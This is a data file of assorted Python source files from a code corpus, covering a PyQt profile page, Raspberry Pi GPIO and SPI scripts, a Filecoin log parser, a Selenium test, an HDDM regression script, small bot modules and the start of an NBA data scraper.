skill you want to add to your DevID.\", [('ADD', BUTTON_TYPE_CONFIRM), ('CLOSE', BUTTON_TYPE_NORMAL)], show_input=True)\n self.dialog.dialog_widget.dialog_input.setPlaceholderText(\"Skill name\")\n self.dialog.button_clicked.connect(self.on_add_skill_dialog_button_clicked)\n self.dialog.show()\n\n def on_add_skill_dialog_button_clicked(self, action):\n if action == 0:\n skill_to_add = self.dialog.dialog_widget.dialog_input.text()\n # Did we already add the skill?\n is_added = skill_to_add in [skill['name'] for skill in self.user_data['user']['skills']]\n if is_added:\n ConfirmationDialog.show_error(self.window(), \"Skill already added\", \"You already added this skill to your profile.\")\n else:\n # Add the skill\n request_manager = RequestManager()\n post_data = str(\"name=%s\" % skill_to_add)\n request_manager.perform_request(\"dappcrowd/users/myprofile/skills\", self.on_skill_added, data=post_data, method=\"PUT\")\n self.dialog.close()\n\n def on_skill_added(self, data):\n # Reload the profile\n self.load_user(self.active_user)\n\n def on_user_info(self, data):\n self.user_data = data\n is_me = self.active_user == self.window().profile_info['public_key']\n if is_me:\n self.window().profile_header_label.setText(\"Your DevID\")\n self.window().add_skill_button.show()\n else:\n self.window().profile_header_label.setText(\"DevID of user '%s'\" % data['user']['username'])\n self.window().add_skill_button.hide()\n\n if data['user']['verified']:\n self.window().profile_verified_label.show()\n\n if not data['user']['github_info']:\n if is_me:\n self.window().connect_github_container.show()\n self.window().no_github_imported_label.hide()\n else:\n self.window().connect_github_container.hide()\n self.window().no_github_imported_label.show()\n self.window().github_info_container.hide()\n else:\n self.window().connect_github_container.hide()\n self.window().no_github_imported_label.hide()\n self.window().github_info_container.show()\n self.window().github_username_label.setText(data['user']['github_info']['username'])\n self.window().github_followers_label.setText(\"%d\" % data['user']['github_info']['followers'])\n\n if not data['user']['bitbucket_info']:\n if is_me:\n self.window().connect_bitbucket_container.show()\n self.window().no_bitbucket_imported_label.hide()\n else:\n self.window().connect_bitbucket_container.hide()\n self.window().no_bitbucket_imported_label.show()\n\n # Load the skills\n for i in reversed(range(self.window().skills_container.layout().count())):\n widget = self.window().skills_container.layout().itemAt(i).widget()\n if widget and widget != self.window().no_skills_added_label:\n self.window().skills_container.layout().itemAt(i).widget().setParent(None)\n\n for skill_info in data['user']['skills']:\n skill_widget = SkillItem(self.window().skills_container, self, skill_info)\n self.window().skills_container.layout().insertWidget(self.window().skills_container.layout().count() - 1, skill_widget)\n\n if len(data['user']['skills']) > 0:\n self.window().no_skills_added_label.hide()\n else:\n self.window().no_skills_added_label.show()\n if is_me:\n self.window().no_skills_added_label.setText(\"You have not added any skills to your profile.\")\n else:\n self.window().no_skills_added_label.setText(\"This user did not add any skills to their profile.\")\n\n # Load statistics\n request_manager = RequestManager()\n request_manager.perform_request(\"dappcrowd/users/%s/statistics\" % self.active_user, self.on_statistics)\n\n def on_statistics(self, data):\n self.window().num_jobs_label.setText(\"%d\" % data['statistics']['num_jobs'])\n self.window().num_submissions_label.setText(\"%d\" % data['statistics']['num_submissions'])\n self.window().num_reviews_label.setText(\"%d\" % data['statistics']['num_reviews'])\n\n def load_user(self, public_key):\n self.active_user = public_key\n self.window().profile_verified_label.hide()\n\n request_manager = RequestManager()\n request_manager.perform_request(\"dappcrowd/users/%s\" % public_key, self.on_user_info)\n","sub_path":"gui/widgets/profilepage.py","file_name":"profilepage.py","file_ext":"py","file_size_in_byte":7094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"622458737","text":"import RPi.GPIO as GPIO\nfrom time import sleep\n\n# Use the BCM GPIO numbers as the numbering scheme\nGPIO.setmode(GPIO.BCM)\n\n# Use GPIO23 for LED 1, GPIO24 for LED 2 and GPIO18 for switch\nled = [23, 24]\nswitch = 18\n\n# Set the GPIO23 and GPIO24 as output.\nGPIO.setup(led, GPIO.OUT)\n\n# Set the GPIO18 as input with a pull-down resistor.\nGPIO.setup(switch, GPIO.IN, GPIO.PUD_DOWN)\n\ndef blink(gpio_number, duration):\n '''This function takes in two input: gpio_number and duration. The\n gpio_number specifies the GPIO number which the LED (to be blinked) is\n connected to. The duration is the blink interval in seconds.'''\n\n GPIO.output(gpio_number, GPIO.HIGH)\n sleep(duration)\n GPIO.output(gpio_number, GPIO.LOW)\n sleep(duration)\n\nGPIO.output(led[0],GPIO.LOW)\nGPIO.output(led[1],GPIO.LOW)\n\nwhile True:\n\n while GPIO.input(switch)==GPIO.LOW:\n GPIO.output(23, GPIO.LOW)\n blink(led[0],1)\n\n while GPIO.input(switch)==GPIO.HIGH:\n GPIO.output(24, GPIO.LOW)\n blink(led[1],1)","sub_path":"1d-mini-project/wk3_blinky.py","file_name":"wk3_blinky.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"148185742","text":"\"\"\"\n_*_ coding:utf-8 _*_\n_*_ author:iron_huang _*_\n_*_ blog:https://www.dvpos.com/ _*_\n\"\"\"\nimport openpyxl\nimport time\nimport os\nimport json\nimport common\nfrom logger import logger\nfrom script import parse_time, split_line_to_slice, get_set_location, get_loc_new_block_time, get_tipset_key, \\\n get_block_header, time_compare, reduce_time_str\n\ninfo_row = 2\nbefore_remote = 0\nafter_remote = 0\nequ_remote = 0\ntotal_diffs = 0\ntotal_diff_sets = 0\n\n\nclass TipSetInfo:\n def __init__(self, year, month, date, time, height, local_tip_sets, local_tip_sets_num, remote_tip_sets,\n remote_tip_sets_num, diff_sets, diff_sets_num, is_same, is_jump, jump_from):\n self.year = year\n self.month = month\n self.date = date\n self.time = time\n self.height = height\n self.local_tip_sets = local_tip_sets\n self.local_tip_sets_num = local_tip_sets_num\n self.remote_tip_sets = remote_tip_sets\n self.remote_tip_sets_num = remote_tip_sets_num\n self.diff_sets = diff_sets\n self.diff_sets_num = diff_sets_num\n self.is_same = is_same\n self.is_jump = is_jump\n self.jump_from = jump_from\n\n def record_base_info(self, row, wsb):\n try:\n wsb.cell(row=row, column=1).value = self.year\n wsb.cell(row=row, column=2).value = self.month\n wsb.cell(row=row, column=3).value = self.date\n wsb.cell(row=row, column=4).value = self.time\n wsb.cell(row=row, column=5).value = self.height\n\n local_str = \"\\n\".join(self.local_tip_sets)\n wsb.cell(row=row, column=6).value = str(local_str)\n wsb.cell(row=row, column=7).value = self.local_tip_sets_num\n\n remote_str = \"\\n\".join(self.remote_tip_sets)\n wsb.cell(row=row, column=8).value = str(remote_str)\n wsb.cell(row=row, column=9).value = self.remote_tip_sets_num\n\n wsb.cell(row=row, column=10).value = self.is_same\n\n diff_str = \"\\n\".join(self.diff_sets)\n wsb.cell(row=row, column=11).value = str(diff_str)\n wsb.cell(row=row, column=12).value = self.diff_sets_num\n\n wsb.cell(row=row, column=13).value = self.is_jump\n wsb.cell(row=row, column=14).value = self.jump_from\n print(row - 1)\n time.sleep(0.01)\n except Exception as e:\n logger.error(e)\n\n def record_info_detail(self, wsi, local_daemon_map):\n try:\n global info_row\n for diff in self.diff_sets:\n wsi.cell(row=info_row, column=1).value = self.height\n wsi.cell(row=info_row, column=2).value = diff\n # 判断所在位置\n loc = get_set_location(diff, self.local_tip_sets)\n wsi.cell(row=info_row, column=3).value = loc\n # 本地出块时间\n loc_time = get_loc_new_block_time(diff, local_daemon_map)\n if loc_time == None:\n wsi.cell(row=info_row, column=4).value = \"未记录\"\n # 远端出块时间\n miner, time_remote = get_block_header(diff)\n wsi.cell(row=info_row, column=5).value = time_remote\n # 出块旷工\n wsi.cell(row=info_row, column=7).value = miner\n info_row += 1\n else:\n wsi.cell(row=info_row, column=4).value = loc_time\n # 远端出块时间\n miner, time_remote = get_block_header(diff)\n wsi.cell(row=info_row, column=5).value = time_remote\n # 出块旷工\n wsi.cell(row=info_row, column=7).value = miner\n # 时间比较\n compare_result = time_compare(loc_time, time_remote)\n wsi.cell(row=info_row, column=8).value = compare_result\n # 计算概率和时间差值\n global before_remote, after_remote, equ_remote\n d_value = None\n if compare_result == common.LOC_BEFORE_REMOTE:\n d_value = reduce_time_str(time_remote, loc_time)\n before_remote += 1\n elif compare_result == common.LOC_AFTER_REMOTE:\n d_value = reduce_time_str(loc_time, time_remote)\n after_remote += 1\n elif compare_result == common.LOC_EQU_REMOTE:\n equ_remote += 1\n else:\n pass\n wsi.cell(row=info_row, column=6).value = d_value\n info_row += 1\n except Exception as e:\n logger.error((\"%d record detail failed,err:%s\" % self.height, e))\n\n\ndef init_local_daemon_map():\n daemon_path = os.path.join(common.DOCS_PATH, common.LOCAL_DAEMON_NAME)\n with open(daemon_path, 'r') as f:\n local_daemon_map = {}\n for line in f:\n before = line.split(\"new block over pubsub\")\n key = json.loads(before[1])[\"cid\"]\n value = \" \".join((before[0].split(\".\")[0]).split(\"T\"))\n local_daemon_map[key] = value\n return local_daemon_map\n\n\ndef init_wb_ws(write_path):\n if os.path.exists(write_path):\n wbl = openpyxl.load_workbook(write_path)\n wslb = wbl.create_sheet(common.DATE_TO_RECORD)\n wsli = wbl.create_sheet(common.DATE_TO_RECORD + \"_detail\")\n else:\n wbl = openpyxl.Workbook()\n wslb = wbl.create_sheet(common.DATE_TO_RECORD)\n wsli = wbl.create_sheet(common.DATE_TO_RECORD + \"_detail\")\n wslb.cell(row=1, column=1).value = \"年份\"\n wslb.cell(row=1, column=2).value = \"月份\"\n wslb.cell(row=1, column=3).value = \"日期\"\n wslb.cell(row=1, column=4).value = \"时间\"\n wslb.cell(row=1, column=5).value = \"高度\"\n wslb.cell(row=1, column=6).value = \"本地tipset\"\n wslb.cell(row=1, column=7).value = \"本地数量\"\n wslb.cell(row=1, column=8).value = \"远端tipset\"\n wslb.cell(row=1, column=9).value = \"远端数量\"\n wslb.cell(row=1, column=10).value = \"是否相同\"\n wslb.cell(row=1, column=11).value = \"差别\"\n wslb.cell(row=1, column=12).value = \"差别数量\"\n wslb.cell(row=1, column=13).value = \"高度是否断档\"\n wslb.cell(row=1, column=14).value = \"从何处断档\"\n wslb.cell(row=1, column=15).value = \"不一致率\"\n\n wsli.cell(row=1, column=1).value = \"高度\"\n wsli.cell(row=1, column=2).value = \"差别\"\n wsli.cell(row=1, column=3).value = \"位置\"\n wsli.cell(row=1, column=4).value = \"本地出块时间\"\n wsli.cell(row=1, column=5).value = \"远端出块时间\"\n wsli.cell(row=1, column=6).value = \"时间差值\"\n wsli.cell(row=1, column=7).value = \"出块旷工\"\n wsli.cell(row=1, column=8).value = \"时间比较\"\n wsli.cell(row=1, column=9).value = \"早于远端\"\n wsli.cell(row=1, column=10).value = \"晚于远端\"\n wsli.cell(row=1, column=11).value = \"等于远端\"\n\n return wbl, wslb, wsli\n\n\ndef record_diff_rates(wsb, wsi, total_loc):\n # 不一致高度占总高度数百分比\n height_diff_rate = \"%.2f%%\" % ((total_diff_sets / total_loc) * 100)\n wsb.cell(row=2, column=15).value = height_diff_rate\n # 早于远端tipset占总diff百分比\n before_remote_rate = \"%.2f%%\" % ((before_remote / total_diffs) * 100)\n wsi.cell(row=2, column=9).value = before_remote_rate\n # 晚于远端tipset占总diff百分比\n after_remote_rate = \"%.2f%%\" % ((after_remote / total_diffs) * 100)\n wsi.cell(row=2, column=10).value = after_remote_rate\n # 等于远端tipset占总diff百分比\n equ_remote_rate = \"%.2f%%\" % ((equ_remote / total_diffs) * 100)\n wsi.cell(row=2, column=11).value = equ_remote_rate\n\n\ndef new_tip_set_info(year, month, date, time, block_height, local_tip_sets,\n remote_sets, diff_sets, is_same, is_jump, jump_from):\n final = TipSetInfo(year, month, date, time, block_height, local_tip_sets, len(local_tip_sets), remote_sets,\n len(remote_sets), diff_sets, len(diff_sets), is_same, is_jump, jump_from)\n return final\n\n\ndef start_parse():\n local_daemon_map = init_local_daemon_map()\n log_path = os.path.join(common.DOCS_PATH, common.LOCAL_MINER_NAME)\n wb, wsb, wsi = init_wb_ws(common.RECORDER_LOCATION)\n has_parsed = []\n with open(log_path, \"r\") as f:\n line_to_slice = split_line_to_slice(f)\n total_loc = len(line_to_slice)\n base_row = 2\n before = 0\n for piece in line_to_slice:\n is_jump = False\n jump_from = None\n block_height = int(piece[1][\"height\"])\n if before != 0 and block_height - 1 != before:\n is_jump = True\n jump_from = before\n before = block_height\n else:\n before = block_height\n if block_height in has_parsed:\n continue\n else:\n has_parsed.append(block_height)\n is_same = True\n tip_sets = get_tipset_key(block_height - 1)\n # miner的tipset集合\n local_tip_sets = set(piece[1][\"tipset\"])\n # filcoin的tipset集合\n remote_sets = set()\n for v in tip_sets:\n remote_sets.add(v[\"/\"])\n difference_set = remote_sets ^ local_tip_sets\n if len(difference_set) != 0:\n global total_diffs, total_diff_sets\n total_diffs += len(difference_set)\n total_diff_sets += 1\n is_same = False\n else:\n pass\n print(\"record height:%d\" % block_height)\n\n year, month, date, time = parse_time(piece[0])\n\n final = new_tip_set_info(year, month, date, time, block_height, local_tip_sets,\n remote_sets, difference_set, is_same, is_jump, jump_from)\n final.record_base_info(base_row, wsb)\n if len(difference_set) != 0:\n final.record_info_detail(wsi, local_daemon_map)\n else:\n pass\n base_row += 1\n record_diff_rates(wsb, wsi, total_loc)\n wb.save(common.RECORDER_LOCATION)\n wb.close()\n print(\"record over!\")\n","sub_path":"parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":10414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"180405534","text":"__author__ = 'jrmccormick'\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom motion_capturing.integrate import integrate\n\n\ndef read_datafile(filename):\n X = []\n Y = []\n Z = []\n\n datafile = open(filename)\n for line in datafile:\n x, y, z = line.split()\n X.append(float(x))\n Y.append(float(y))\n Z.append(float(z))\n datafile.close()\n\n return np.array(X), np.array(Y), np.array(Z)\n\n\ndef main():\n fs = 1500.0 # Sampling Frequency (Hz)\n Ts = 1/fs # Sample time, period\n\n # Compute the time vector\n t = np.arange(0.0, 0.2, Ts, dtype=float)\n\n calc_x, calc_v, freq, ffta = integrate(a, Ts)\n\n plt.subplot(3,1,1)\n plt.plot(t, a)\n plt.grid()\n plt.xlabel(\"time (t)\")\n plt.ylabel(\"Accel (m/s/s)\")\n plt.subplot(3,1,2)\n plt.plot(t, calc_x, '--r')\n plt.legend()\n plt.grid()\n plt.xlabel(\"time (t)\")\n plt.ylabel(\"X (m)\")\n plt.subplot(3,1,3)\n plt.plot(freq, np.abs(ffta), 'r')\n plt.grid()\n plt.xlabel(\"Frequency (Hz)\")\n plt.ylabel(\"Amplitude\")\n\n plt.show()\n\n\n# call main\nif __name__ == '__main__':\n main()","sub_path":"motion_capturing/accel_plot.py","file_name":"accel_plot.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"403770572","text":"'''\r\nMS SE role in Bing Team\r\nCTCT 1.8. Zero Matrix: \r\n\r\nWrite an algorithm such that if an element in an MxN matrix is 0, its entire row and column are set to 0. \r\n\r\n'''\r\n'''\r\nsolution1 :\r\n0 이 있는 열과 행을 찾아서 기록해놓는다\r\n0을 표시한다\r\n\r\nsolution 2: 0이 있는 행,열을 기록할 배열을 행렬의 일부에서 재활용한다.\r\n[확보 > 찾기 > 전체 적용]\r\n1) 재활용하기 전에 첫 행, 첫 열에도 0 있엇는지 확인\r\n2) 0이 실제로 있는 곳 확인, 첫 행 첫 열에 표기, 0 적용\r\n3) 마지막 첫행 첫열에도 0 반영!\r\n'''\r\n\r\n\r\n\r\n\r\nimport unittest\r\ndef zero_matrix(mat):\r\n firstRowHasZero = False\r\n firstColHasZero = False\r\n\r\n #check first row\r\n if 0 in mat[0]:\r\n firstRowHasZero = True\r\n\r\n #check first col\r\n for i in range(len(mat)):\r\n if mat[i][0] == 0:\r\n firstColHasZero = True\r\n break\r\n\r\n #check rest of mat, and check in the first row or col\r\n for row in range(1, len(mat)):\r\n for col in range(1, len(mat)):\r\n if mat[row][col] == 0:\r\n mat[0][col] = 0\r\n mat[row][0] = 0\r\n \r\n \r\n # nullify\r\n for col in range(len(mat)):\r\n if mat[0][col] == 0:\r\n nullify_col(mat, col)\r\n\r\n for row in range(len(mat)):\r\n if mat[row][0] == 0:\r\n nullify_row(mat, row)\r\n \r\n if firstRowHasZero:\r\n print('0 row')\r\n nullify_row(mat, 0)\r\n if firstColHasZero:\r\n print('0 col')\r\n nullify_col(mat, 0)\r\n print('3, {}'. format(mat))\r\n \r\n return mat\r\n\r\ndef nullify_row(matrix, row):\r\n for i in range(len(matrix[0])):\r\n matrix[row][i] = 0\r\n\r\n\r\ndef nullify_col(matrix, col):\r\n for i in range(len(matrix)):\r\n matrix[i][col] = 0\r\n\r\n\r\nclass Test(unittest.TestCase):\r\n '''Test Cases'''\r\n data = [\r\n ([\r\n [1, 2, 3, 4, 0],\r\n [6, 0, 8, 9, 10],\r\n [11, 12, 13, 14, 15],\r\n [16, 0, 18, 19, 20],\r\n [21, 22, 23, 24, 25]\r\n ], [\r\n [0, 0, 0, 0, 0],\r\n [0, 0, 0, 0, 0],\r\n [11, 0, 13, 14, 0],\r\n [0, 0, 0, 0, 0],\r\n [21, 0, 23, 24, 0]\r\n ])\r\n ]\r\n\r\n def test_zero_matrix(self):\r\n for [test_matrix, expected] in self.data:\r\n actual = zero_matrix(test_matrix)\r\n self.assertEqual(actual, expected)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n unittest.main()\r\n","sub_path":"PastProblems/_zero_in_matrix.py","file_name":"_zero_in_matrix.py","file_ext":"py","file_size_in_byte":2463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"257510748","text":"from backend.models import ExpertRating, Video, UserPreferences, VideoRating,\\\r\n ExpertRatingSliderChanges\r\nfrom backend.rating_fields import VIDEO_FIELDS\r\nfrom helpers import test_username, login, logout, set_slider_value, create_test_video, TIME_WAIT,\\\r\n open_more_menu\r\nfrom selenium.webdriver.common.by import By # noqa: E402\r\nfrom selenium.webdriver.support import expected_conditions as EC # noqa: E402\r\nfrom selenium.webdriver.support.ui import WebDriverWait # noqa: E402\r\n\r\n\r\ndef test_representative(driver, django_db_blocker):\r\n # creating 2 videos\r\n video_ids = []\r\n with django_db_blocker.unblock():\r\n for _ in range(2):\r\n video_ids.append(create_test_video())\r\n videos = [Video.objects.get(video_id=vid) for vid in video_ids]\r\n\r\n login(driver)\r\n\r\n with django_db_blocker.unblock():\r\n me = UserPreferences.objects.get(user__username=test_username)\r\n\r\n # creating ratings\r\n feature = VIDEO_FIELDS[0]\r\n other_values = {k: 50 for k in VIDEO_FIELDS if k != feature}\r\n with django_db_blocker.unblock():\r\n ExpertRating.objects.create(video_1=videos[0], video_2=videos[1], **other_values,\r\n **{feature: 0}, user=me) # left is better\r\n\r\n VideoRating.objects.create(video=videos[0], user=me, **{feature: 0}, **other_values)\r\n VideoRating.objects.create(video=videos[1], user=me, **{feature: 100}, **other_values)\r\n\r\n open_more_menu(driver)\r\n\r\n WebDriverWait(driver, TIME_WAIT).until(\r\n EC.presence_of_element_located((By.ID, 'representative_menu')))\r\n\r\n driver.find_element_by_id('representative_menu').click()\r\n\r\n WebDriverWait(driver, TIME_WAIT).until(\r\n EC.presence_of_element_located((By.CLASS_NAME, 'representative_debug_slider')))\r\n\r\n sliders = driver.find_elements_by_class_name('representative_debug_slider')\r\n assert len(sliders) == 1\r\n\r\n set_slider_value(driver, slider=sliders[0], value=100)\r\n\r\n driver.find_element_by_class_name('representative_debug_submit').click()\r\n\r\n driver.refresh()\r\n\r\n WebDriverWait(driver, TIME_WAIT).until(\r\n EC.presence_of_element_located((By.ID, 'id_representative_interface_all')))\r\n\r\n WebDriverWait(driver, TIME_WAIT).until(\r\n EC.presence_of_element_located((By.ID, 'id_representative_not_loading'))\r\n )\r\n\r\n sliders = driver.find_elements_by_class_name('representative_debug_slider')\r\n assert len(sliders) == 0\r\n\r\n with django_db_blocker.unblock():\r\n assert ExpertRatingSliderChanges.objects.filter(context='DIS').count() > 0\r\n\r\n logout(driver)\r\n","sub_path":"integration_test/test_representative.py","file_name":"test_representative.py","file_ext":"py","file_size_in_byte":2598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"9654162","text":"import pandas as pd\nimport hddm\nfrom patsy import dmatrix\nimport numpy as np\n\nn_subjects = 10\ntrials_per_level = 150 # and per stimulus\n\nlevel1a = {'v':.3, 'a':2, 't':.3, 'sv':0, 'z':.5, 'sz':0, 'st':0}\nlevel2a = {'v':.4, 'a':2, 't':.3, 'sv':0, 'z':.6, 'sz':0, 'st':0}\nlevel3a = {'v':.5, 'a':2, 't':.3, 'sv':0, 'z':.7, 'sz':0, 'st':0}\n\ndata_a, params_a = hddm.generate.gen_rand_data({'level1': level1a,\n 'level2': level2a,\n 'level3': level3a},\n size=trials_per_level,\n subjs=n_subjects)\n\nlevel1b = {'v':.3, 'a':2, 't':.3,'sv': 0, 'z':.5, 'sz': 0, 'st': 0}\nlevel2b = {'v':.4, 'a':2, 't':.3,'sv': 0, 'z':.4, 'sz': 0, 'st': 0}\nlevel3b = {'v':.5, 'a':2, 't':.3,'sv': 0, 'z':.3, 'sz': 0, 'st': 0}\n\ndata_b, params_b = hddm.generate.gen_rand_data({'level1': level1b,\n 'level2': level2b,\n 'level3': level3b},\n size=trials_per_level,\n subjs=n_subjects)\n\ndata_a['stimulus'] = pd.Series(0, index=data_a.index)\ndata_b['stimulus'] = pd.Series(1, index=data_a.index)\n\nmydata = data_a.append(data_b, ignore_index=True)\nstim_coded = []\n\nfor i, row in mydata.iterrows():\n if row.stimulus == 0 and row.response == 1:\n stim_coded.append(0)\n if row.stimulus == 0 and row.response == 0:\n stim_coded.append(1)\n if row.stimulus == 1 and row.response == 1:\n stim_coded.append(1)\n if row.stimulus == 1 and row.response == 0:\n stim_coded.append(0)\n\nmydata['response'] = stim_coded\n\ndef z_link_func(x):\n return 1 / (1 + np.exp(-(x)))\n\ndef v_link_func(x, data=mydata):\n stim = (np.asarray(dmatrix('0 + C(s, [[1], [-1]])',\n {'s': data.stimulus.ix[x.index]}))\n )\n return x * stim\n\nz_reg = {'model': 'z ~ 1 + C(condition)', 'link_func': z_link_func}\nv_reg = {'model': 'v ~ 1 + C(condition)', 'link_func': v_link_func}\nreg_descr = [z_reg, v_reg]\n\nm_reg = hddm.HDDMRegressor(mydata, reg_descr, include='z')\nm_reg.sample(5000, burn=200)\nm_reg.print_stats()\n","sub_path":"tmp/test_regression.py","file_name":"test_regression.py","file_ext":"py","file_size_in_byte":2281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"595553258","text":"import scipy.sparse as sp\nimport scipy.io\nimport inspect\nimport tensorflow as tf\nfrom preprocessing import preprocess_graph, sparse_to_tuple\n\nflags = tf.app.flags\nFLAGS = flags.FLAGS\n\n\n\ndef parse_index_file(filename):\n index = []\n for line in open(filename):\n index.append(int(line.strip()))\n return index\n# def load_data(dataset):\n# # load the data: x, tx, allx, graph\n# names = ['x', 'tx', 'allx', 'graph']\n# objects = []\n# for i in range(len(names)):\n# objects.append(pkl.load(open(\"data/ind.{}.{}\".format(dataset, names[i]))))\n# x, tx, allx, graph = tuple(objects)\n# test_idx_reorder = parse_index_file(\"data/ind.{}.test.index\".format(dataset))\n# test_idx_range = np.sort(test_idx_reorder)\n#\n# if dataset == 'citeseer':\n# # Fix citeseer dataset (there are some isolated nodes in the graph)\n# # Find isolated nodes, add them as zero-vecs into the right position\n# test_idx_range_full = range(min(test_idx_reorder), max(test_idx_reorder)+1)\n# tx_extended = sp.lil_matrix((len(test_idx_range_full), x.shape[1]))\n# tx_extended[test_idx_range-min(test_idx_range), :] = tx\n# tx = tx_extended\n#\n# features = sp.vstack((allx, tx)).tolil()\n# features[test_idx_reorder, :] = features[test_idx_range, :]\n# adj = nx.adjacency_matrix(nx.from_dict_of_lists(graph))\n#\n# return adj, features\n\n\ndef load_data(data_source):\n data = scipy.io.loadmat(\"data/{}.mat\".format(data_source))\n labels = data[\"Label\"]\n attributes = sp.csr_matrix(data[\"Attributes\"])\n network = sp.lil_matrix(data[\"Network\"])\n\n return network, attributes, labels\n\ndef format_data(data_source):\n\n adj, features, labels = load_data(data_source)\n\n # Store original adjacency matrix (without diagonal entries) for later\n # adj_orig = adj\n # adj_orig = adj_orig - sp.dia_matrix((adj_orig.diagonal()[np.newaxis, :], [0]), shape=adj_orig.shape)\n # adj_orig.eliminate_zeros()\n # adj = adj_orig\n\n if FLAGS.features == 0:\n features = sp.identity(features.shape[0]) # featureless\n\n # Some preprocessing\n adj_norm = preprocess_graph(adj)\n\n num_nodes = adj.shape[0]\n\n features = sparse_to_tuple(features.tocoo())\n num_features = features[2][1]\n features_nonzero = features[1].shape[0]\n\n adj_label = adj + sp.eye(adj.shape[0])\n adj_label = sparse_to_tuple(adj_label)\n items = [adj, num_features, num_nodes, features_nonzero, adj_norm, adj_label, features, labels]\n feas = {}\n for item in items:\n # item_name = [ k for k,v in locals().iteritems() if v == item][0]]\n item_name = retrieve_name(item)\n feas[item_name] = item\n\n return feas\n\ndef retrieve_name(var):\n callers_local_vars = inspect.currentframe().f_back.f_locals.items()\n return [var_name for var_name, var_val in callers_local_vars if var_val is var and \"item\" not in var_name][0]","sub_path":"gae/input_data.py","file_name":"input_data.py","file_ext":"py","file_size_in_byte":2910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"332497618","text":"\"\"\"This module provides information about bot version.\"\"\"\n\nfrom __future__ import (\n unicode_literals,\n absolute_import,\n print_function,\n division\n)\n\nfrom sopel.module import commands, example\n\n\n@commands('botversion', 'bv')\n@example('.botversion')\ndef botversion(bot, trigger):\n \"\"\"List the current version of the bot.\"\"\"\n bot.say('The current version of this bot is 5.0 (v5)')\n\n\n@commands('source', 'botsource')\n@example('.source')\ndef githubsource(bot, trigger):\n \"\"\"Give the link to ZppixBot's Github.\"\"\"\n bot.reply('My code can be found here: https://github.com/Pix1234/ZppixBot-Source')\n","sub_path":"modules/botversion.py","file_name":"botversion.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"68350051","text":"# -*- coding: utf-8 -*-\nfrom pages.main_page import *\nfrom pages.list_page import *\nfrom pages.answer_page import *\nfrom models.bot_models import Question\nfrom utils import url_modificators, driver_place\nfrom nlp import make_word_vector\nfrom selenium import webdriver\nimport re\nimport datetime\n\ndriver = webdriver.Chrome(driver_place)\nmain_page = MainPage()\nmain_page.open(driver=driver)\nmain_page.wait_for_toolbar(driver)\nmain_page.search(driver, u'развод')\nurl = driver.current_url\nmodificator = url_modificators['categories']['family']+\\\n url_modificators['dates']['three_days']+\\\n url_modificators['types']['only_questions']\nurl = re.sub(r'(\\bsearch\\b)', r'\\1{}'.format(modificator), url)\ndriver.get(url)\nlist_page = ListPage(driver)\nlist_page.open(driver)\nlist_page.wait_for_container(driver)\nlist_page.scan_hrefs_of_questions(driver)\nfor href in list_page.href_of_questions:\n question = AnswerPage(href)\n question.open(driver)\n question.wait_for_question(driver)\n title = question.get_question_title(driver)\n content = question.get_question_comment(driver)\n inf_title = make_word_vector(title)\n if content:\n inf_content = make_word_vector(content)\n try:\n Question.create(\n date=datetime.datetime.now(),\n href=href,\n title=title,\n content=content,\n inf_title=inf_title,\n inf_content=inf_content\n )\n except Exception as e:\n print(e)\n print('Not unique url!')\n\n","sub_path":"bot_logic.py","file_name":"bot_logic.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"496045412","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Nov 25 10:21:46 2019\r\n\r\n@author: kevin\r\n\"\"\"\r\n\r\n# spitest.py\r\n# A brief demonstration of the Raspberry Pi SPI interface, using the Sparkfun\r\n# Pi Wedge breakout board and a SparkFun Serial 7 Segment display:\r\n# https://www.sparkfun.com/products/11629\r\n\r\n#SPI SS-16\r\n#SPI MOSI – 20\r\n#SPI SCLK – 21 \r\n\r\n\r\nimport time\r\nimport spidev\r\n\r\n# We only have SPI bus 0 available to us on the Pi\r\nbus = 0\r\n\r\n#Device is the chip select pin. Set to 0 or 1, depending on the connections\r\ndevice = 1\r\n\r\n# Enable SPI\r\nspi = spidev.SpiDev()\r\n\r\n# Open a connection to a specific bus and device (chip select pin)\r\nspi.open(bus, device)\r\n\r\n# Set SPI speed and mode\r\nspi.max_speed_hz = 500000\r\nspi.mode = 0\r\n\r\n# Clear display\r\nmsg = 2\r\nresult = spi.xfer2(msg)\r\nprint(result)\r\ntime.sleep(5)\r\n\r\nspi.close()","sub_path":"src/HU3-UI-master/src/UI_Code_Q2/Test_code_smaller_parts/SPI communication FC.py","file_name":"SPI communication FC.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"446042296","text":"# -*- coding: utf-8 -*-\n\nfrom datetime import date, timedelta, datetime\nimport re\nimport sys\nimport threading\nfrom time import localtime, strftime, mktime\nimport urllib2\n\nfrom bs4 import BeautifulSoup\nimport pymysql\n\nimport GameData\nimport log\nimport markup\nimport retry_decorator\n\n\n__author__ = \"Aaron\"\n__version__ = 2.1\n__modified__ = '2/5/2016'\n\nteam_abbrvs = ['ATL', 'BOS', 'BKN', 'CHA', 'CHI', 'CLE', 'DAL', 'DEN', 'DET', 'GS',\n 'HOU', 'IND', 'LAC', 'LAL', 'MEM', 'MIA', 'MIL', 'MIN', 'NO', 'NY',\n 'OKC', 